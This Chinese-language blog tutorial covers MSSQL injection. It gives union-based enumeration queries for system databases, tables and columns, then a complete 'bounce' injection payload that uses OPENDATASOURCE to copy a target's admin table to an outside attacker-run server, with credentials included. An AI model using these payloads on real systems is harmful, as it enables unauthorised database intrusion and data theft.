前言:
MSSQL注入攻擊是最為復雜的資料庫攻擊技術,由于該資料庫功能十分強大,存盤程序以及函式陳述句十分豐富,這些靈活的陳述句造就了新穎獨特的攻擊思路,
MSSQL的顯錯注入操作:
以聯合查詢為例:
猜欄位
聯合查詢:union all
猜出輸出點使用null填充
注釋只有 --+、-- a 沒有#
查詢系統庫:select name,null,...... from dbo.sysdatabases 可以不用查庫名
查詢系統表:select name,null,...... from dbo.sysobjects where xtype='U' //U表示用戶創建表
查詢表中的欄位:select name,null,...... from dbo.syscolumns where id= 表名對應的id
MSSQL反彈注入:
MSSQL反彈注入的使用場景
命名是SQL的注入點卻無法進行注入操作,注入工具猜解的速度例外緩慢,錯誤提示資訊關閉,無法回傳注入結果等,這些都是在注入攻擊中常常遇到的問題,
為了解決以上這些疑難雜癥,比較好的解決方法就是使用反彈注入技術,而反彈注入技術則需要依靠opendatasource函式支持,
環境的搭建:
我們前面說到,MSSQL注入 — 反彈注入實際就是把查詢出來的資料發送到我們的MSSQL服務器上,那么我們需要自己的MSSQL資料庫和一個公網IP,
香港云(http://www.webweb.com/) 隨便拿個郵箱然后注冊就行
香港云如果失效:https://my.gearhost.com/CloudSite
資料庫連接器:http://mssqlus.webweb.com/
反彈注入陳述句決議:
insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --
Insert into 很明顯是插入陳述句 然后出現了個opendatasource,
opendatasource 為了方便理解,可以看理解為 ‘使用opendatasource函式將當前資料庫查詢的結果發送到另一資料庫服務器中,
語法:
OPENDATASOURCE(provider_name,init_string)
provider_name
注冊為用于訪問資料源的OLE DB 提供程式的PROGID的名稱 MSSQL的名稱為SQLOLEDB
init_string
連接字串
連接地址、埠、用戶名、密碼、資料庫名
server=連接地址,埠;uid=用戶名;pwd=密碼;database=資料庫名稱
連接上服務器后選定資料表DB_14A5E44_zkaq.dbo.temp 把后面陳述句的查詢結果插入到那個表里面
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/53245.html
標籤:其他
上一篇:mysql udf提權實戰測驗
下一篇:SQL注入:DNS注入
